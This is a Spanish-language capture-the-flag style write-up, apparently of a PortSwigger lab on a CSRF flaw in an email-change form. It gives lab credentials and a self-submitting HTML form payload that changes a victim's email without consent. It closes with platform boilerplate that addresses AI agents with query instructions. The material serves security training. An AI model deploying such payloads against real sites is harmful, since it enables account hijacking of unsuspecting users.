> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/csrf/csrf-vulnerability-with-no-defenses.md).

# Vulnerabilidad CSRF sin protección

### Vulnerabilidad CSRF sin defensas

#### Descripción

La funcionalidad de cambio de correo electrónico de este laboratorio es vulnerable a un ataque CSRF. El objetivo es forjar una solicitud del lado del cliente que cambie la dirección de correo electrónico del usuario víctima sin su consentimiento.

#### Objetivo

Crea contenido HTML que realice el ataque CSRF para cambiar la dirección de correo electrónico del visitante; luego sube ese contenido a tu servidor de explotación.

#### Identificador

Puedes iniciar sesión con la siguiente cuenta:/ **wiener: peter**

<figure><img src="/files/9fe11ceebb8ec426b406d110821bed2a05716487" alt=""><figcaption></figcaption></figure>

Al interceptarla, se observa que la solicitud para cambiar el correo electrónico es una simple solicitud POST que acepta el `correo electrónico` parámetro. No hay protección anti-CSRF (sin token, sin origen, etc.), lo que permite automatizar el envío del formulario desde una página alojada en el servidor de explotación.

#### HTML de la carga útil para depositar en el servidor de explotación

El siguiente HTML crea un formulario que apunta a la URL de cambio de correo electrónico y lo envía automáticamente cuando se carga la página:

```html
<form class="login-form" name="change-email-form" action="https://0a8500d803454f6280a003f700b700a3.web-security-academy.net/my-account/change-email" method="POST">
    <input required="" type="email" name="email" value="admin@hacked.com">
</form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/csrf/csrf-vulnerability-with-no-defenses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
